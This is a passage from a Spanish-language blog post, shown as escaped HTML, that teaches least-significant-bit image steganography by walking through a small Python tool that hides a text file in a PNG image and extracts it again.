invisible pero puede visualizarse de nuevo abriendo el grifo de agua caliente y dejando que el vaho cubra de nuevo el cristal.&lt;br /&gt;&lt;br /&gt;Todos estos son ejemplos de esteganografía visual. Hay muchos más, tantos como técnicas inventadas por el hombre. Nosotros nos fijaremos en una muy utilizada en informática. Esta técnica explota paradójicamente una de las habilidades en las que los seres humanos son superiores a las máquinas: la &lt;span style="font-weight: bold;"&gt;capacidad de aproximación&lt;/span&gt;. El cerebro humano carece de la precisión de los ordenadores, pero sin embargo es capaz de extraer conclusiones a partir de aproximaciones en las que se conjugan los datos captados y la experiencia previa. Esto, que un niño de tres años ya hace inconscientemente, es desde hace años el campo de batalla diario de los estudiosos de la Inteligencia Artificial. Aplicado al campo de las imágenes esta habilidad nos permite distinguir objetos a pesar de que estos se encuentren deformados o borrosos. Un ejemplo son los habituales &lt;a href="http://en.wikipedia.org/wiki/CAPTCHA"&gt;&lt;span style="font-style: italic;"&gt;captchas&lt;/span&gt;&lt;/a&gt; que retan a los usuarios a leer unos carácteres intencionadamente d eteriorados con el fin de asegurarse de que el "usuario" es una persona y no un programa de ordenador.&lt;br /&gt;&lt;br /&gt;Sin embargo, cuando se trata de detectar detalles esta capacidad de aproximación juega en nuestra contra a no ser que ya estemos alerta. Si no estamos avisados de antemano o especialmente entrenados, lo normal es que veamos una forma, la interpretemos y si deducimos lo que significa facilmente pasemos a otra cosa ignorando los detalles. Un ejemplo de este fenómeno lo tenemos diariamente en los periódicos en el juego de encontrar las &lt;a href="http://www.google.es/search?q=%227+diferencias%22&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:es-ES:official&amp;amp;client=firefox-a"&gt;7 diferencias&lt;/a&gt;. A no ser que seamos aficionados a ese juego lo normal es que no encontremos ninguna diferencia en el primer vistazo. Sin embargo las diferencias están ahí y no son sino información oculta en una imagen.&lt;br /&gt;&lt;br /&gt;Nosotros explotaremos esto jugando con los colores de una imagen. Mientras que los ordenadores son capaces de distinguir con precisión un color de otro parecido en una paleta de miles de colores, lo cierto es que los seres humanos frecuentemente no somos capaces de distinguir dicha dife rencia sobre todo si la superficie de cada uno de los colores es muy reducida. ¿Seríamos capaces de distinguir si un &lt;a href="http://es.wikipedia.org/wiki/P%C3%ADxel"&gt;pixel&lt;/a&gt; morado es &lt;span style="font-style: italic;"&gt;exactamente igual&lt;/span&gt; de morado que el pixel que tiene a su lado?, la respuesta es que no, sobre todo si la diferencia es pequeña.&lt;br /&gt;&lt;br /&gt;Los ordenadores actuales pueden mostrar en pantalla paletas de miles de colores. Para mostrar cada color, el ordenador le asigna un número identificativo de manera que los programas sólo tengan que usar ese número para decirle a la tarjeta gráfica que muestre ese color. Los colores similares tienen números correlativos así que si los visualizásemos consecutivamente veríamos gradientes de color  en vez de cambios bruscos. Pongamos, por ejemplo, que una tarjeta gráfica pudiese mostrar imágenes en &lt;a href="http://en.wikipedia.org/wiki/Truecolor"&gt;&lt;span style="font-style: italic;"&gt;color verdadero&lt;/span&gt;&lt;/a&gt; lo que supondría que sería capaz de poner 16.777.216 colores diferentes en pantalla. Para ello cada color debería tener un número identificativo de 24 bits (2^24=16.777.216). Si jugásemos con el bit menos significativo (el de más a la derecha) del número identificativo para codificar información el usuario sería incapaz de notarlo ya que los colores resultantes serían tan parecidos que sería muy difícil distinguirlos entre si.&lt;br /&gt;&lt;br /&gt;Así que eso será lo que hagamos, cogeremos una imagen y la recorreremos manipulando el bit menos significativo d e cada pixel de manera que ese bit corresponda a un bit del mensaje que queremos ocultar en la imagen.&lt;br /&gt;&lt;br /&gt;Para ilustrarlo he escripto un pequeño programa en Python capaz de esconder un texto en una imagen que tenga formato BMP o PNG. El programa se puede descargar de &lt;a href="http://danteslab-files.googlecode.com/files/stegimage.zip"&gt;google code&lt;/a&gt; y para ejecutarlo hace falta tener instalada la &lt;a href="http://www.pythonware.com/products/pil/"&gt;Python Imaging Library&lt;/a&gt; (PIL). En Ubuntu se puede instalar PIL mediante un sencillo comando:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;[...]/stegimage$ &lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;sudo aptitude install python-imaging&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Hecho lo anterior ya podemos ejecutar el programa desde la carpeta donde lo hayamos descomprimido. En dicha carpeta contamos con una imagen que hará de anfitrión de los datos a ocultar (lena_std.png) y el texto a ocultar (texto_a_ocultar.txt ;-) ). Se puede usar cualquier imagen PNG y cualquier texto pero hay que tener en cuenta que se tienen que cumplir determinadas relacio nes entre el tamaño de la imagen y el texto a ocultar, tal y como veremos al estudiar el código del programa. Para no complicarse la vida en la primera prueba lo mejor es usar los archivos de ejemplo que vienen junto al programa. Para ver los parámetros que acepta el programa no hay más que teclear su nombre sin ninguna opción:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;/stegimage$ &lt;span style="font-weight: bold;"&gt;./stegimage.py&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Stegimage&lt;br /&gt;===========&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Programmed by: Dante Signal31&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Written for experimental purpuses.&lt;br /&gt;&lt;br /&gt;This program hides data in image files.&lt;br /&gt;&lt;br /&gt;Format ./stegimage.py &lt;arguments&gt;&lt;br /&gt;-i  ----------&gt; image file to use for hiding.&lt;br /&gt;-d &lt;data file=""&gt; -----------&gt; Data file to hide in image file&lt;/data&gt;&lt;/arguments&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;arguments&gt;&lt;data file=""&gt;    -o &lt;output file=""&gt; ---------&gt; Output image file with data file hidden inside.&lt;br /&gt;-x &lt;steg file=""&gt;------------&gt; Extract data file (set with -d) from steg file.&lt;/steg&gt;&lt;/output&gt;&lt;/data&gt;&lt;/arguments&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;arguments&gt;&lt;data file=""&gt;&lt;output file=""&gt;&lt;steg file=""&gt;         -s &lt;step size=""&gt;------------&gt; S&lt;/step&gt;&lt;/steg&gt;&lt;/output&gt;&lt;/data&gt;&lt;/arguments&gt;&lt;/span&gt; &lt;span style="font-size:85%;"&gt;&lt;arguments&gt;&lt;data file=""&gt;&lt;output file=""&gt;&lt;steg file=""&gt;&lt;step size=""&gt;ets how many bits we should hide in each selected pixel (DEFAULT=1)&lt;br /&gt;-h | --help --------------&gt; Print this text.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;Hiding a file:./stegimage.py -i image_file.bmp -d hidden.txt -o image_steg_file.bmp&lt;br /&gt;Extracting a file:./stegimage.py -x image_steg_file.bmp -d hidden.txt&lt;/step&gt;&lt;/steg&gt;&lt;/output&gt;&lt;/data&gt;&lt;/arguments&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Siguiendo las indicaciones de la ayuda teclearemos lo siguiente para ocultar el texto de ejemplo (que dicho sea de apaso es un copy-paste de la excelente &lt;a href="http://www.kriptopolis.org/enigma"&gt;obra&lt;/a&gt; sobre el cifrado en la Segunda Guerra Mundial que Ramón Ceano publicó en &lt;a href="http://www.kriptopolis.org/"&gt;Kriptópolis&lt;/a&gt;):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;/stegimage$ &lt;span style="font-weight: bold;"&gt;./stegimage.py -i lena_std.png -d texto_a_ocultar.txt -o lena_steg.png&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Como podemos comprobar se ha generado una nueva imagen (lena_steg.png) que es la que oculta el texto secreto. Visualmente las dos son idénticas (para un humano), la primera es la imagen original y la segunda la que contiene el mensaje:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/S0Smdt2r6OI/AAAAAAAAALQ/U4pXN3W4T0E/s1600-h/lena_std.png"&gt;&lt;img style="cursor: pointer; width: 246px; height: 246px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/S0Smdt2r6OI/AAAAAAAAALQ/U4pXN3W4T0E/s400/lena_std.png" alt="" id="BLOGGER_PHOTO_ID_5423642880716302562" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/S0Su_gjJXNI/AAAAAAAAALY/foyc1YoGaC8/s1600-h/lena_steg.png"&gt;&lt;img style="cursor: pointer; width: 245px; height: 245px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/S0Su_gjJXNI/AAAAAAAAALY/foyc1YoGaC8/s400/lena_steg.png" alt="" id="BLOGGER_PHOTO_ID_5423652257353260242" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para extraer el mensaje oculto no tenemos más que hacer lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;/stegimage$&lt;span style="font-weight: bold;"&gt; ./stegimage.py -d texto_extraido.txt -x l&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ena_steg.png&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Ahora estudiaremos el código del programa para entender bien cómo funciona esta técnica de ocultación. Haré un repaso puntual del código, pero habrá fragmentos de este que no plasmaré aquí porque no tienen mayor complicación así que recomiendo que el lector repase el código en su totalidad por su cuenta (no debería resultarle difícil porque he procurado comentarlo bastante y es bastante corto).&lt;br /&gt;&lt;br /&gt;La función que se encarga de esconder los datos en la imagen es hideFile a la que se le pasan como parámetro dichos datos (en nuestro ejemplo el texto a esconder):&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; hideFile(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;, data_file_name):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;        """ This function encodes data file into image host file."""&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file_size = (os.stat(data_file_name))[stat.ST_SIZE]&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.calculateSeparation(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.getDataFileSize())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;open&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(data_file_name, &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;'rb'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.getSeparation() &amp;lt; &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;): &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#This means that data file is too big.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;return&lt;/b&gt; ERROR&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.encodeHeader()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte=&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file.read(&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.bytes_written = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;while&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte_in_bits = libmymath.int2bin(n=&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;ord&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte), count=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;8&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.encodeBits(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte_in_bits)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file.read(&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.bytes_written = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.bytes_written + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.percentage_done = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;/&lt;br /&gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;((&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;float&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.bytes_written) / &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;float&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file_size)) *  &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;100&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.percentage_done) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"% : "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.byte_in_bits)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.hostFileImage.save(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.hostFileName)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.data_file.close()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;return&lt;/b&gt; OK&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Como se puede ver, esta función averigua el tamaño de los datos que queremos ocultar y posteriormente en la llamada a &lt;span style="font-style: italic;"&gt;encodeHeader&lt;/span&gt; usará los primeros píxeles de la imagen para codificar en ellos el tamaño de los datos ocultados. En principio mi script cuenta con una constante HEADER_SIZE que fija 32 bits para codificar el tamaño de los datos ocultados por lo que los primeros 32 pixels consecutivos de la imagen tendrán sus bits menos significativos modificados (siempre y cuando STEP=1, como se explicará seguidamente). El número de bits que se modifican por pixels lo fija la constante STEP del fichero stegimage.py aunque el usuario la puede modificar usando el parámetro "-s" en la llamada al programa. En principio STEP está fijado a 1 de manera que sólo se modifica 1 bit por pixel &lt;span style="font-style: italic;"&gt;tocado&lt;/span&gt;, esto significa que si queremos ocultar un byte de datos (8 bits) tendremos que modificar el valor del bit menos significativo de hasta 8 pixels para que dicho bit corresponda con el respectivo del byte a ocultar. Para recomponer el byte ocultado tendremos que mirar el bit menos significativo de cada uno de los 8 pixels e ir recomponiendo el byte original. Esto tiene una limitación y es que con un STEP=1 sólo podremos ocultar ficheros cuyo tamaño en bits no supere al número de pixel de la imagen tras restar los 32 pixels que consume el codificado de la cabecera. Para superar esta limitación, y ocultar textos o ficheros más extensos, se puede aumentar el valor de STEP para ocultar más bits del mensaje en cada pixel de la imagen pero en ese caso hay que tener en cuenta que la variación de color entre el pixel modificado y sus vecinos es más brusca y la anomalía será más fácilmente detectable, como se puede ver en la imagen de ejemplo siguiente en la que se ocultó el mismo texto que antes con un STEP=16 (fíjese como ahora los pixel modificados sí son claramente detectables en la forma de esas líneas verticales de "ruido"):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/S0Tg8VfiBhI/AAAAAAAAALg/LRgQU0zpRhU/s1600-h/lena_steg2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 341px; height: 341px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/S0Tg8VfiBhI/AAAAAAAAALg/LRgQU0zpRhU/s400/lena_steg2.png" alt="" id="BLOGGER_PHOTO_ID_5423707178427090450" border="0" /&gt;&lt;/a&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Como también se puede ver en la imagen anterior, los bits modificados están &lt;span style="font-style: italic;"&gt;equiespaciados&lt;/span&gt; para dificultar su detección al dispersar la anomalía generada. La separación entre pixels modificados se calcula con la llamada a &lt;span style="font-style: italic;"&gt;calculateSeparation&lt;/span&gt; de &lt;span style="font-style: italic;"&gt;hideFile&lt;/span&gt; en función del tamaño del mensaje a ocultar, el tamaño en pixels de la imagen contenedora y el STEP que hayamos fijado. Hay que tener en cuenta que si se ha usado un STEP diferente de 1 (el de por defecto) habrá que decírselo a stegimage.py a la hora de extraer el mensaje. Si no se hace así, el programa no sabrá en qué pixels fijarse para reconstruir el mensaje (o mejor dicho, usará un STEP=1 y mirará los pixels equivocados). Por ejemplo, si al codificar hubiésemos usado un STEP de 8, la orden de extracción sería la siguiente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;/stegimage$&lt;span style="font-weight: bold;"&gt; ./stegimage.py -d texto_extraido.txt -x l&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ena_steg.png -s 8&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Una vez calculada la separación mediante &lt;span style="font-style: italic;"&gt;calculateSeparation&lt;/span&gt; y grabada la cabecera en los primeros pixels mediante &lt;span style="font-style: italic;"&gt;encodeHeader&lt;/span&gt;, la función &lt;span style="font-style: italic;"&gt;hideFile&lt;/span&gt; comienza un bucle en el que va leyendo byte a byte el mensaje a ocultar y va grabando esos bytes en los pixels de la imagen mediante la función &lt;span style="font-style: italic;"&gt;encodeBits&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; &lt;b&gt;def&lt;/b&gt; encodeBits(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;, bit_string,  position=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;        """ This function deals with writing of long bit strings."""&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;if&lt;/b&gt; (position == &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.last_position&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position = position&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#        self.x = 0&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;for&lt;/b&gt; bit in bit_string:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.setBit(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position, bit,  &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.x)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.x 